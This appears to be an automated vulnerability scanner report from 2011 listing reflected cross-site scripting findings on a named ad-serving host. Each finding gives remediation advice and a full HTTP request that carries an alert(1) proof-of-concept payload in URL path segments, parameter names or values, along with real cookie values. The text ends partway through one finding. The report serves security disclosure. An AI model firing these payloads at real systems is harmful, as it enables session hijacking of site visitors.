Reflected cross-site scripting vulnerabilities arise when data is copied from a request and echoed into the application's immediate response in an unsafe way. An attacker can use the vulnerability to construct a request which, if issued by another application user, will cause JavaScript code supplied by the attacker to execute within the user's browser in the context of that user's session with the application.
The attacker-supplied code can perform a wide variety of actions, such as stealing the victim's session token or login credentials, performing arbitrary actions on the victim's behalf, and logging their keystrokes.
Users can be induced to issue the attacker's crafted request in various ways. For example, the attacker can send a victim a link containing a malicious URL in an email or instant message. They can submit the link to popular web sites that allow content authoring, for example in blog comments. And they can create an innocuous looking web site which causes anyone viewing it to make arbitrary cross-domain requests to the vulnerable application (using either the GET or the POST method).
The security impact of cross-site scripting vulnerabilities is dependent upon the nature of the vulnerable application, the kinds of data and functionality which it contains, and the other applications which belong to the same domain and organisation. If the application is used only to display non-sensitive public content, with no authentication or access control functionality, then a cross-site scripting flaw may be considered low risk. However, if the same application resides on a domain which can access cookies for other more security-critical applications, then the vulnerability could be used to attack those other applications, and so may be considered high risk. Similarly, if the organisation which owns the application is a likely target for phishing attacks, then the vulnerability could be leveraged to lend credibility to such attacks, by injecting Trojan functionality into the vulnerable application, and exploiting users' trust in the organisation in order to capture credentials for other applications which it owns. In many kinds of application, such as those providing online banking functionality, cross-site scripting should always be considered high risk.
Remediation background
In most situations where user-controllable data is copied into application responses, cross-site scripting attacks can be prevented using two layers of defenses:
Input should be validated as strictly as possible on arrival, given the kind of content which it is expected to contain. For example, personal names should consist of alphabetical and a small range of typographical characters, and be relatively short; a year of birth should consist of exactly four numerals; email addresses should match a well-defined regular expression. Input which fails the validation should be rejected, not sanitised.
User input should be HTML-encoded at any point where it is copied into application responses. All HTML metacharacters, including < > " ' and =, should be replaced with the corresponding HTML entities (< > etc).
In cases where the application's functionality allows users to author content using a restricted subset of HTML tags and attributes (for example, blog comments which allow limited formatting and linking), it is necessary to parse the supplied HTML to validate that it does not use any dangerous syntax; this is a non-trivial task.
The value of REST URL parameter 2 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 1f85f'-alert(1)-'ce1250fe110 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /adj/idgt.v3couk1f85f'-alert(1)-'ce1250fe110/article_above;sec=article;fold=above;tile=1;sz=728x90;click=http://ad.uk.doubleclick.net/click%3Bh%3Dv8/3aaf/3/0/%2a/o%3B228547252%3B0-0%3B0%3B42403772%3B3454-728/90%3B38201217/38218974/1%3B%3B~sscs%3D%3f;ord=6724288580007851? HTTP/1.1 Host: a.collective-media.net Proxy-Connection: keep-alive Referer: http://www.v3.co.uk/v3/news/2274498/veracode-cross-site-scripting Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: cli=11e4f07c0988ac7; dc=sea; JY57=CT-USR; nadp=1; blue=1; qcdp=1
Response
HTTP/1.1 200 OK Server: nginx/0.7.65 Content-Type: application/x-javascript P3P: policyref="http://a.collective-media.net/static/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa OUR IND PHY ONL UNI COM NAV INT DEM PRE" Content-Length: 490 Date: Tue, 15 Feb 2011 21:42:43 GMT Connection: close Vary: Accept-Encoding Set-Cookie: dc=dc-sea; domain=collective-media.net; path=/; expires=Thu, 17-Mar-2011 21:42:43 GMT
The value of REST URL parameter 3 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload b8173'-alert(1)-'b41762d9198 was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /adj/idgt.v3couk/article_aboveb8173'-alert(1)-'b41762d9198;sec=article;fold=above;tile=1;sz=728x90;click=http://ad.uk.doubleclick.net/click%3Bh%3Dv8/3aaf/3/0/%2a/o%3B228547252%3B0-0%3B0%3B42403772%3B3454-728/90%3B38201217/38218974/1%3B%3B~sscs%3D%3f;ord=6724288580007851? HTTP/1.1 Host: a.collective-media.net Proxy-Connection: keep-alive Referer: http://www.v3.co.uk/v3/news/2274498/veracode-cross-site-scripting Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: cli=11e4f07c0988ac7; dc=sea; JY57=CT-USR; nadp=1; blue=1; qcdp=1
Response
HTTP/1.1 200 OK Server: nginx/0.7.65 Content-Type: application/x-javascript P3P: policyref="http://a.collective-media.net/static/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa OUR IND PHY ONL UNI COM NAV INT DEM PRE" Content-Length: 490 Vary: Accept-Encoding Date: Tue, 15 Feb 2011 21:42:45 GMT Connection: close Set-Cookie: dc=dc-sea; domain=collective-media.net; path=/; expires=Thu, 17-Mar-2011 21:42:45 GMT
1.3. http://a.collective-media.net/adj/idgt.v3couk/article_above [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://a.collective-media.net
Path:
/adj/idgt.v3couk/article_above
Issue detail
The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 18665'-alert(1)-'118e368eb0 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /adj/idgt.v3couk/article_above;sec=article;fold=above;tile=1;sz=728x90;click=http://ad.uk.doubleclick.net/click%3Bh%3Dv8/3aaf/3/0/%2a/o%3B228547252%3B0-0%3B0%3B42403772%3B3454-728/90%3B38201217/38218974/1%3B%3B~sscs%3D%3f;ord=6724288580007851?&18665'-alert(1)-'118e368eb0=1 HTTP/1.1 Host: a.collective-media.net Proxy-Connection: keep-alive Referer: http://www.v3.co.uk/v3/news/2274498/veracode-cross-site-scripting Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: cli=11e4f07c0988ac7; dc=sea; JY57=CT-USR; nadp=1; blue=1; qcdp=1
Response
HTTP/1.1 200 OK Server: nginx/0.7.65 Content-Type: application/x-javascript P3P: policyref="http://a.collective-media.net/static/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa OUR IND PHY ONL UNI COM NAV INT DEM PRE" Content-Length: 493 Vary: Accept-Encoding Date: Tue, 15 Feb 2011 21:42:43 GMT Connection: close Set-Cookie: dc=dc-sea; domain=collective-media.net; path=/; expires=Thu, 17-Mar-2011 21:42:43 GMT
The value of the sec request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 5e089'-alert(1)-'a44c42e930f was submitted in the sec parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /adj/idgt.v3couk/article_above;sec=5e089'-alert(1)-'a44c42e930f&01RI=05B0DFC7E8F90D3&01NA= HTTP/1.1 Host: a.collective-media.net Proxy-Connection: keep-alive Referer: http://www.v3.co.uk/v3/news/2274498/veracode-cross-site-scripting Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: cli=11e4f07c0988ac7; dc=sea; nadp=1; blue=1; qcdp=1; JY57=CT-1
Response
HTTP/1.1 200 OK Server: nginx/0.7.65 Content-Type: application/x-javascript P3P: policyref="http://a.collective-media.net/static/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa OUR IND PHY ONL UNI COM NAV INT DEM PRE" Content-Length: 461 Vary: Accept-Encoding Date: Tue, 15 Feb 2011 21:42:36 GMT Connection: close Set-Cookie: dc=sea; domain=collective-media.net; path=/; expires=Thu, 17-Mar-2011 21:42:36 GMT
The value of REST URL parameter 2 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 8f82e'-alert(1)-'801b6e097ea was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /adj/idgt.v3couk8f82e'-alert(1)-'801b6e097ea/article_below;sec=article;fold=below;tile=3;sz=300x250;click=http://ad.uk.doubleclick.net/click%3Bh%3Dv8/3aaf/3/0/%2a/c%3B228547251%3B0-0%3B0%3B42403772%3B4252-336/280%3B38201193/38218950/1%3B%3B~sscs%3D%3f;ord=6724288580007851? HTTP/1.1 Host: a.collective-media.net Proxy-Connection: keep-alive Referer: http://www.v3.co.uk/v3/news/2274498/veracode-cross-site-scripting Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: cli=11e4f07c0988ac7; nadp=1; blue=1; qcdp=1; JY57=3dY1_FHES3TRHCZNmOsvTJNeUatqJcvX7Nq1uKJSzEoZ2NeTOgc4cAw; apnx=1; dc=dc-sea
Response
HTTP/1.1 200 OK Server: nginx/0.7.65 Content-Type: application/x-javascript P3P: policyref="http://a.collective-media.net/static/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa OUR IND PHY ONL UNI COM NAV INT DEM PRE" Content-Length: 491 Vary: Accept-Encoding Date: Tue, 15 Feb 2011 21:43:11 GMT Connection: close Set-Cookie: dc=dc-sea; domain=collective-media.net; path=/; expires=Thu, 17-Mar-2011 21:43:11 GMT
The value of REST URL parameter 3 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload dd5be'-alert(1)-'76f764b8638 was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /adj/idgt.v3couk/article_belowdd5be'-alert(1)-'76f764b8638;sec=article;fold=below;tile=3;sz=300x250;click=http://ad.uk.doubleclick.net/click%3Bh%3Dv8/3aaf/3/0/%2a/c%3B228547251%3B0-0%3B0%3B42403772%3B4252-336/280%3B38201193/38218950/1%3B%3B~sscs%3D%3f;ord=6724288580007851? HTTP/1.1 Host: a.collective-media.net Proxy-Connection: keep-alive Referer: http://www.v3.co.uk/v3/news/2274498/veracode-cross-site-scripting Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: cli=11e4f07c0988ac7; nadp=1; blue=1; qcdp=1; JY57=3dY1_FHES3TRHCZNmOsvTJNeUatqJcvX7Nq1uKJSzEoZ2NeTOgc4cAw; apnx=1; dc=dc-sea
Response
HTTP/1.1 200 OK Server: nginx/0.7.65 Content-Type: application/x-javascript P3P: policyref="http://a.collective-media.net/static/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa OUR IND PHY ONL UNI COM NAV INT DEM PRE" Content-Length: 491 Date: Tue, 15 Feb 2011 21:43:11 GMT Connection: close Vary: Accept-Encoding Set-Cookie: dc=dc-sea; domain=collective-media.net; path=/; expires=Thu, 17-Mar-2011 21:43:11 GMT
1.7. http://a.collective-media.net/adj/idgt.v3couk/article_below [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://a.collective-media.net
Path:
/adj/idgt.v3couk/article_below
Issue detail
The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 9daed'-alert(1)-'1dbdb6df1e was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /adj/idgt.v3couk/article_below;sec=article;fold=below;tile=3;sz=300x250;click=http://ad.uk.doubleclick.net/click%3Bh%3Dv8/3aaf/3/0/%2a/c%3B228547251%3B0-0%3B0%3B42403772%3B4252-336/280%3B38201193/38218950/1%3B%3B~sscs%3D%3f;ord=6724288580007851?&9daed'-alert(1)-'1dbdb6df1e=1 HTTP/1.1 Host: a.collective-media.net Proxy-Connection: keep-alive Referer: http://www.v3.co.uk/v3/news/2274498/veracode-cross-site-scripting Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: cli=11e4f07c0988ac7; nadp=1; blue=1; qcdp=1; JY57=3dY1_FHES3TRHCZNmOsvTJNeUatqJcvX7Nq1uKJSzEoZ2NeTOgc4cAw; apnx=1; dc=dc-sea
Response
HTTP/1.1 200 OK Server: nginx/0.7.65 Content-Type: application/x-javascript P3P: policyref="http://a.collective-media.net/static/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa OUR IND PHY ONL UNI COM NAV INT DEM PRE" Content-Length: 494 Date: Tue, 15 Feb 2011 21:43:11 GMT Connection: close Vary: Accept-Encoding Set-Cookie: dc=dc-sea; domain=collective-media.net; path=/; expires=Thu, 17-Mar-2011 21:43:11 GMT
The value of the sec request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload b785e'-alert(1)-'f3434611d30 was submitted in the sec parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /adj/idgt.v3couk/article_below;sec=article;fold=below;tile=3;sz=300x250;click=http://ad.uk.doubleclick.net/click%3Bh%3Dv8/3aaf/3/0/%2a/c%3B228547251%3B0-0%3B0%3B42403772%3B4252-336/280%3B38201193/38218950/1%3B%3B~sscs%3D%3f;ord=6724288580007851?b785e'-alert(1)-'f3434611d30 HTTP/1.1 Host: a.collective-media.net Proxy-Connection: keep-alive Referer: http://www.v3.co.uk/v3/news/2274498/veracode-cross-site-scripting Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: cli=11e4f07c0988ac7; nadp=1; blue=1; qcdp=1; JY57=3dY1_FHES3TRHCZNmOsvTJNeUatqJcvX7Nq1uKJSzEoZ2NeTOgc4cAw; apnx=1; dc=dc-sea
Response
HTTP/1.1 200 OK Server: nginx/0.7.65 Content-Type: application/x-javascript P3P: policyref="http://a.collective-media.net/static/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa OUR IND PHY ONL UNI COM NAV INT DEM PRE" Content-Length: 492 Date: Tue, 15 Feb 2011 21:43:10 GMT Connection: close Vary: Accept-Encoding Set-Cookie: dc=dc-sea; domain=collective-media.net; path=/; expires=Thu, 17-Mar-2011 21:43:10 GMT
The value of REST URL parameter 2 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload db043'-alert(1)-'3b4e4644556 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /adj/ns.bittechdb043'-alert(1)-'3b4e4644556/general;ppos=atf;kw=;tile=1;dcopt=ist;sz=728x90;ord=5477863? HTTP/1.1 Host: a.collective-media.net Proxy-Connection: keep-alive Referer: http://www.bit-tech.net/news/2011/01/31/microsoft-warns-zero-day-windows/1 Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 200 OK Server: nginx/0.7.65 Content-Type: application/x-javascript Content-Length: 472 Date: Tue, 15 Feb 2011 21:42:34 GMT Connection: close Vary: Accept-Encoding Set-Cookie: JY57=CT; expires=Tue, 15-Mar-2011 21:42:33 GMT; path=/; domain=.collective-media.net Set-Cookie: cli=11e4f0826289ac2; domain=collective-media.net; path=/; expires=Thu, 14-Feb-2013 21:42:33 GMT Set-Cookie: dc=dc; domain=collective-media.net; path=/; expires=Thu, 17-Mar-2011 21:42:33 GMT P3P: CP="DSP NOI ADM PSAo PSDo OUR BUS NAV COM UNI INT"
The value of REST URL parameter 3 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload b05ba'-alert(1)-'be44e7f08e3 was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /adj/ns.bittech/generalb05ba'-alert(1)-'be44e7f08e3;ppos=atf;kw=;tile=1;dcopt=ist;sz=728x90;ord=5477863? HTTP/1.1 Host: a.collective-media.net Proxy-Connection: keep-alive Referer: http://www.bit-tech.net/news/2011/01/31/microsoft-warns-zero-day-windows/1 Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 200 OK Server: nginx/0.7.65 Content-Type: application/x-javascript Content-Length: 472 Date: Tue, 15 Feb 2011 21:42:34 GMT Connection: close Vary: Accept-Encoding Set-Cookie: JY57=CT; expires=Tue, 15-Mar-2011 21:42:34 GMT; path=/; domain=.collective-media.net Set-Cookie: cli=11e4f082a101e45; domain=collective-media.net; path=/; expires=Thu, 14-Feb-2013 21:42:34 GMT Set-Cookie: dc=dc; domain=collective-media.net; path=/; expires=Thu, 17-Mar-2011 21:42:34 GMT P3P: CP="DSP NOI ADM PSAo PSDo OUR BUS NAV COM UNI INT"
1.11. http://a.collective-media.net/adj/ns.bittech/general [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://a.collective-media.net
Path:
/adj/ns.bittech/general
Issue detail
The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 635d1'-alert(1)-'c906d027f04 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /adj/ns.bittech/general;ppos=atf;kw=;tile=1;dcopt=ist;sz=728x90;ord=5477863?&635d1'-alert(1)-'c906d027f04=1 HTTP/1.1 Host: a.collective-media.net Proxy-Connection: keep-alive Referer: http://www.bit-tech.net/news/2011/01/31/microsoft-warns-zero-day-windows/1 Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 200 OK Server: nginx/0.7.65 Content-Type: application/x-javascript Content-Length: 476 Date: Tue, 15 Feb 2011 21:42:33 GMT Connection: close Vary: Accept-Encoding Set-Cookie: JY57=CT; expires=Tue, 15-Mar-2011 21:42:33 GMT; path=/; domain=.collective-media.net Set-Cookie: cli=11e4f082628e1d5; domain=collective-media.net; path=/; expires=Thu, 14-Feb-2013 21:42:33 GMT Set-Cookie: dc=dc; domain=collective-media.net; path=/; expires=Thu, 17-Mar-2011 21:42:33 GMT P3P: CP="DSP NOI ADM PSAo PSDo OUR BUS NAV COM UNI INT"
The value of the ppos request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 1c019'-alert(1)-'dacd8b7b0c2 was submitted in the ppos parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /adj/ns.bittech/general;ppos=atf;kw=;tile=1;dcopt=ist;sz=728x90;ord=5477863?1c019'-alert(1)-'dacd8b7b0c2 HTTP/1.1 Host: a.collective-media.net Proxy-Connection: keep-alive Referer: http://www.bit-tech.net/news/2011/01/31/microsoft-warns-zero-day-windows/1 Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 200 OK Server: nginx/0.7.65 Content-Type: application/x-javascript Content-Length: 473 Date: Tue, 15 Feb 2011 21:42:32 GMT Connection: close Vary: Accept-Encoding Set-Cookie: JY57=CT; expires=Tue, 15-Mar-2011 21:42:32 GMT; path=/; domain=.collective-media.net Set-Cookie: cli=11e4f08224001c3; domain=collective-media.net; path=/; expires=Thu, 14-Feb-2013 21:42:32 GMT Set-Cookie: dc=dc; domain=collective-media.net; path=/; expires=Thu, 17-Mar-2011 21:42:32 GMT P3P: CP="DSP NOI ADM PSAo PSDo OUR BUS NAV COM UNI INT"
The value of REST URL parameter 1 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload d2f48'-alert(1)-'5cd72cbc26e was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /cmadjd2f48'-alert(1)-'5cd72cbc26e/idgt.v3couk/article_above;sec=article;fold=above;tile=1;sz=728x90;net=idgt;ord=6724288580007851;ord1=888913;cmpgurl=http%253A//www.v3.co.uk/v3/news/2274498/veracode-cross-site-scripting? HTTP/1.1 Host: a.collective-media.net Proxy-Connection: keep-alive Referer: http://www.v3.co.uk/v3/news/2274498/veracode-cross-site-scripting Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: cli=11e4f07c0988ac7; nadp=1; blue=1; qcdp=1; JY57=3dY1_FHES3TRHCZNmOsvTJNeUatqJcvX7Nq1uKJSzEoZ2NeTOgc4cAw; dc=dc-sea
Response
HTTP/1.1 200 OK Server: nginx/0.7.65 Content-Type: application/x-javascript P3P: policyref="http://a.collective-media.net/static/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa OUR IND PHY ONL UNI COM NAV INT DEM PRE" Vary: Accept-Encoding Date: Tue, 15 Feb 2011 21:42:44 GMT Connection: close Set-Cookie: apnx=1; domain=collective-media.net; path=/; expires=Wed, 16-Feb-2011 21:42:43 GMT Content-Length: 7923
function cmIV_(){var a=this;this.ts=null;this.tsV=null;this.te=null;this.teV=null;this.fV=false;this.fFV=false;this.fATF=false;this.nLg=0;this._ob=null;this._obi=null;this._id=null;this._ps=null;this. ...[SNIP]... <scr'+'ipt language="Javascript">CollectiveMedia.createAndAttachAd("idgt-65652006_1297806163","http://ad.doubleclick.net/adjd2f48'-alert(1)-'5cd72cbc26e/idgt.v3couk/article_above;net=idgt;u=,idgt-65652006_1297806163,11e4f07c0988ac7,none,;;sec=article;fold=above;tile=1;cmw=nurl;sz=728x90;net=idgt;ord1=888913;contx=none;dc=w;btg=;ord=6724288580007851?", ...[SNIP]...
The value of REST URL parameter 2 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload c5f0b'-alert(1)-'a0fab449771 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /cmadj/idgt.v3coukc5f0b'-alert(1)-'a0fab449771/article_above;sec=article;fold=above;tile=1;sz=728x90;net=idgt;ord=6724288580007851;ord1=888913;cmpgurl=http%253A//www.v3.co.uk/v3/news/2274498/veracode-cross-site-scripting? HTTP/1.1 Host: a.collective-media.net Proxy-Connection: keep-alive Referer: http://www.v3.co.uk/v3/news/2274498/veracode-cross-site-scripting Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: cli=11e4f07c0988ac7; nadp=1; blue=1; qcdp=1; JY57=3dY1_FHES3TRHCZNmOsvTJNeUatqJcvX7Nq1uKJSzEoZ2NeTOgc4cAw; dc=dc-sea
Response
HTTP/1.1 200 OK Server: nginx/0.7.65 Content-Type: application/x-javascript P3P: policyref="http://a.collective-media.net/static/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa OUR IND PHY ONL UNI COM NAV INT DEM PRE" Vary: Accept-Encoding Date: Tue, 15 Feb 2011 21:42:44 GMT Connection: close Set-Cookie: apnx=1; domain=collective-media.net; path=/; expires=Wed, 16-Feb-2011 21:42:44 GMT Content-Length: 7914
function cmIV_(){var a=this;this.ts=null;this.tsV=null;this.te=null;this.teV=null;this.fV=false;this.fFV=false;this.fATF=false;this.nLg=0;this._ob=null;this._obi=null;this._id=null;this._ps=null;this. ...[SNIP]... <scr'+'ipt language="Javascript">CollectiveMedia.createAndAttachAd("idgt-47452097_1297806164","http://ad.doubleclick.net/adj/idgt.v3coukc5f0b'-alert(1)-'a0fab449771/article_above;net=idgt;u=,idgt-47452097_1297806164,11e4f07c0988ac7,none,;;sec=article;fold=above;tile=1;sz=728x90;net=idgt;ord1=888913;contx=none;dc=w;btg=;ord=6724288580007851?","728","90",false);</s ...[SNIP]...
The value of REST URL parameter 3 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 7495b'-alert(1)-'e686802c9a1 was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
